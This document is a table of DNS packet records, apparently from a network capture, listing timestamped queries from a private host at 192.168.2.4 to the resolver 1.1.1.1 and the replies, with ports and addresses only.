Jan 5, 2025 10:49:19.518978119 CET	53	59218	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:19.525372982 CET	56640	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:19.615760088 CET	53	56640	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:19.727426052 CET	58043	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:19.737122059 CET	53	58043	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:19.742031097 CET	56926	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:19.781147957 CET	53	56926	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:19.897926092 CET	58972	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:20.078329086 CET	53	58972	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:20.083224058 CET	63493	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:20.366827011 CET	53	63493	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:20.480168104 CET	64864	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:20.499599934 CET	53	64864	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:20.571865082 CET	65170	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:20.833470106 CET	53	65170	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:21.427752018 CET	64018	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:21.447042942 CET	53	64018	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:21.483295918 CET	64628	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:21.715907097 CET	53	64628	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:22.306365967 CET	51732	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:22.352458000 CET	53	51732	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:22.362248898 CET	56429	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:22.621437073 CET	53	56429	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:22.773941994 CET	65416	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:22.783307076 CET	53	65416	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:22.809303045 CET	61813	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:22.818567991 CET	53	61813	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:22.929666996 CET	50469	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:22.941351891 CET	53	50469	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:22.945542097 CET	63956	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:22.957550049 CET	53	63956	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:23.098149061 CET	58680	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:23.109831095 CET	53	58680	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:23.112463951 CET	51638	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:23.130666018 CET	53	51638	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:23.243824005 CET	65487	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:23.268136024 CET	53	65487	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:23.277196884 CET	53976	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:23.396167994 CET	53	53976	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:23.508780956 CET	51409	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:23.604880095 CET	53	51409	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:23.609422922 CET	50849	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:23.664501905 CET	53	50849	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:23.773195982 CET	54443	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:23.781785965 CET	53	54443	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:23.784230947 CET	63935	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:23.791245937 CET	53	63935	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:23.921976089 CET	62032	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:23.938792944 CET	53	62032	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:23.945247889 CET	60630	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:23.961752892 CET	53	60630	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:24.070822954 CET	62632	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:24.079591036 CET	53	62632	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:24.083615065 CET	62394	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:24.093462944 CET	53	62394	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:24.210748911 CET	65263	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:24.220073938 CET	53	65263	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:24.222573042 CET	54499	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:24.231324911 CET	53	54499	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:24.336044073 CET	54422	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:24.344597101 CET	53	54422	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:24.409358025 CET	56444	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:24.710071087 CET	53	56444	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:25.288875103 CET	62561	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:25.303050041 CET	53	62561	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:25.318159103 CET	60785	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:25.556210995 CET	53	60785	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:26.151021004 CET	55193	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:26.175806046 CET	53	55193	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:26.182773113 CET	60674	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:27.194817066 CET	60674	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:27.709964037 CET	53	60674	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:27.709979057 CET	53	60674	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:27.820100069 CET	50645	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:27.917927027 CET	53	50645	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:27.927081108 CET	54231	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:28.208949089 CET	53	54231	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:28.320914030 CET	59870	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:28.602075100 CET	53	59870	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:28.614259005 CET	57913	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:28.708251953 CET	53	57913	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:28.820866108 CET	58931	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:28.840538979 CET	53	58931	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:28.888170958 CET	52415	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:29.020437956 CET	53	52415	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:29.644340038 CET	56138	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:29.652905941 CET	53	56138	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:29.689872980 CET	64356	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:29.823873997 CET	53	64356	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:30.397692919 CET	64610	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:30.490971088 CET	53	64610	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:30.504550934 CET	63585	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:30.689992905 CET	53	63585	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:30.805639029 CET	55252	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:30.816103935 CET	53	55252	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:30.825112104 CET	50274	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:30.832180023 CET	53	50274	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:30.951632023 CET	51884	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:31.071109056 CET	53	51884	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:31.089037895 CET	61943	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:31.976085901 CET	53	61943	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:32.085490942 CET	56649	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:32.101077080 CET	53	56649	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:32.153652906 CET	62049	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:32.160685062 CET	53	62049	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:32.741570950 CET	52645	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:32.760845900 CET	53	52645	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:32.842350960 CET	49350	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:33.070961952 CET	53	49350	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:33.664518118 CET	51272	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:33.673243999 CET	53	51272	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:33.681478024 CET	60173	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:33.692512989 CET	53	60173	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:33.805557966 CET	58866	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:34.076205015 CET	53	58866	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:34.104187965 CET	55414	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:34.140034914 CET	53	55414	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:34.258923054 CET	50621	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:34.267524958 CET	53	50621	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:34.350081921 CET	51202	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:34.361016989 CET	53	51202	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:34.480509043 CET	50141	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:34.494579077 CET	53	50141	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:34.519439936 CET	58855	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:34.529567957 CET	53	58855	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:34.648344994 CET	59228	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:34.657282114 CET	53	59228	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:34.679303885 CET	65272	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:34.688214064 CET	53	65272	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:34.805619955 CET	65045	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:34.814243078 CET	53	65045	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:34.832098961 CET	62020	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:34.851243973 CET	53	62020	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:34.961982012 CET	57890	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:34.976480007 CET	53	57890	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:35.006943941 CET	59853	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:35.245628119 CET	53	59853	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:35.820388079 CET	49554	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:35.828644991 CET	53	49554	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:35.876733065 CET	51384	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:36.110654116 CET	53	51384	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:36.679150105 CET	63947	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:36.689824104 CET	53	63947	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:36.692985058 CET	63770	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:36.705585957 CET	53	63770	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:36.820656061 CET	52982	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:36.839142084 CET	53	52982	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:36.850716114 CET	62511	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:36.862160921 CET	53	62511	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:36.976070881 CET	64734	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:37.095740080 CET	53	64734	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:37.135811090 CET	55941	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:37.257594109 CET	53	55941	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:37.367578030 CET	57902	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:37.385351896 CET	53	57902	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:37.427089930 CET	53847	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:37.561913013 CET	53	53847	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:38.133099079 CET	59289	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:38.152374029 CET	53	59289	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:38.183402061 CET	64946	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:38.190655947 CET	53	64946	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:38.773829937 CET	56080	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:38.798793077 CET	53	56080	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:38.806576014 CET	52611	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:38.928705931 CET	53	52611	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:39.054843903 CET	54202	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:39.098488092 CET	53	54202	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:39.103986979 CET	57813	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:39.116221905 CET	53	57813	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:39.226845980 CET	54623	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:39.249711990 CET	53	54623	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:39.320038080 CET	50230	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:39.327878952 CET	53	50230	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:39.928289890 CET	53616	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:39.945970058 CET	53	53616	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:39.983021021 CET	54969	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:40.001976967 CET	53	54969	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:40.117544889 CET	62055	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:40.359749079 CET	53	62055	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:40.368361950 CET	61639	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:40.414171934 CET	53	61639	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:40.525048971 CET	49586	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:40.794018030 CET	53	49586	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:40.797300100 CET	53577	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:41.061625004 CET	53	53577	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:41.164386988 CET	53405	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:41.457561016 CET	53	53405	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:41.462110996 CET	64460	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:41.724446058 CET	53	64460	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:41.836113930 CET	54267	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:41.845308065 CET	53	54267	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:41.852468967 CET	64655	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:41.879295111 CET	53	64655	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:41.992575884 CET	49658	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:42.027195930 CET	53	49658	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:42.044428110 CET	61581	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:42.090715885 CET	53	61581	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:42.195178032 CET	51601	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:42.205594063 CET	53	51601	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:42.391690969 CET	56481	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:42.401002884 CET	53	56481	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:42.996750116 CET	55249	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:43.043421984 CET	53	55249	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:43.092187881 CET	55197	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:43.145618916 CET	53	55197	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:43.257392883 CET	56509	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:43.535409927 CET	53	56509	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:43.538690090 CET	62946	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:43.814209938 CET	53	62946	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:43.935136080 CET	52608	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:43.945538998 CET	53	52608	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:43.984548092 CET	61952	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:44.007407904 CET	53	61952	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:44.119735956 CET	56498	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:44.156537056 CET	53	56498	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:44.211555958 CET	65154	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:44.218482971 CET	53	65154	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:44.819678068 CET	53949	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:44.831902981 CET	53	53949	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:44.835484982 CET	63925	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:44.844867945 CET	53	63925	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:44.962302923 CET	60705	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:45.241915941 CET	53	60705	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:45.249923944 CET	56085	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:45.534344912 CET	53	56085	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:45.655951023 CET	57540	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:45.680583000 CET	53	57540	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:45.705590963 CET	50001	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:45.842200994 CET	53	50001	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:45.961059093 CET	60339	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:45.985825062 CET	53	60339	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:45.992609978 CET	58974	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:46.096170902 CET	53	58974	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:46.218904018 CET	57019	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:46.227880955 CET	53	57019	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:46.231585979 CET	52922	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:46.250500917 CET	53	52922	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:46.366596937 CET	58885	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:46.506289959 CET	53	58885	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:46.518034935 CET	61540	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:46.536931992 CET	53	61540	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:46.648068905 CET	59468	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:46.656202078 CET	53	59468	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:46.658817053 CET	63126	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:46.667965889 CET	53	63126	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:46.776453972 CET	59285	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:46.786995888 CET	53	59285	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:46.825089931 CET	59059	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:46.834166050 CET	53	59059	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:46.949453115 CET	51997	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:47.042714119 CET	53	51997	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:47.053215981 CET	63452	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:47.146292925 CET	53	63452	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:47.257257938 CET	52903	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:47.278407097 CET	53	52903	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:47.284591913 CET	65232	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:47.335728884 CET	53	65232	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:47.444720984 CET	51661	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:47.500541925 CET	53	51661	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:47.506201029 CET	58020	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:47.523623943 CET	53	58020	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:47.633491039 CET	54917	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:47.669765949 CET	53	54917	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:47.675364971 CET	52930	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:47.682276011 CET	53	52930	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:47.788746119 CET	58270	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:47.845350027 CET	53	58270	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:47.858828068 CET	63586	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:48.123249054 CET	53	63586	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:48.226744890 CET	55523	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:48.245680094 CET	53	55523	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:48.302737951 CET	50062	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:48.311618090 CET	53	50062	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:48.317173004 CET	56829	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:48.326033115 CET	53	56829	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:48.429828882 CET	50974	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:48.698997974 CET	53	50974	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:48.709250927 CET	53628	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:48.972692966 CET	53	53628	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:49.085757971 CET	54021	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:49.103930950 CET	53	54021	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:49.208326101 CET	50216	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:49.220705032 CET	53	50216	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:49.398804903 CET	64378	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:49.420380116 CET	53	64378	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:49.474967957 CET	51054	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:49.483813047 CET	53	51054	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:49.488254070 CET	61166	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:49.497124910 CET	53	61166	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:49.606878996 CET	54947	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:49.631566048 CET	53	54947	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:49.639424086 CET	58044	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:49.663630962 CET	53	58044	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:49.772819996 CET	60619	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:49.819066048 CET	53	60619	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:49.821712971 CET	51980	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:49.853070021 CET	53	51980	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:49.966018915 CET	61761	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:50.047666073 CET	53	61761	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:50.051238060 CET	58340	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:50.076741934 CET	53	58340	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:50.196013927 CET	58557	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:50.204852104 CET	53	58557	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:50.216998100 CET	57650	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:50.225929022 CET	53	57650	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:50.339602947 CET	54327	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:50.349045992 CET	53	54327	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:50.356592894 CET	59642	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:50.366014004 CET	53	59642	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:50.476423979 CET	55561	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:51.328459978 CET	53	55561	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:51.366925955 CET	62630	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:52.154580116 CET	53	62630	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:52.275902033 CET	59375	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:52.284385920 CET	53	59375	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:52.429153919 CET	55924	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:52.437772036 CET	53	55924	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:52.729614019 CET	61331	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:52.764559984 CET	53	61331	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:52.768332005 CET	64194	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:52.800152063 CET	53	64194	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:52.914858103 CET	62584	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:52.924700022 CET	53	62584	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:53.004272938 CET	60417	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:53.013616085 CET	53	60417	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:53.022037983 CET	57599	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:53.030394077 CET	53	57599	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:53.148266077 CET	50449	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:53.159132004 CET	53	50449	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:53.204296112 CET	57148	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:53.213509083 CET	53	57148	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:53.215394974 CET	53701	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:53.225049019 CET	53	53701	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:53.437325954 CET	60417	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:53.494371891 CET	53	60417	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:53.500754118 CET	54215	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:53.536094904 CET	53	54215	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:53.676472902 CET	53280	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:53.685158968 CET	53	53280	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:53.834389925 CET	53054	53	192.168.2.4	1.1.1.1
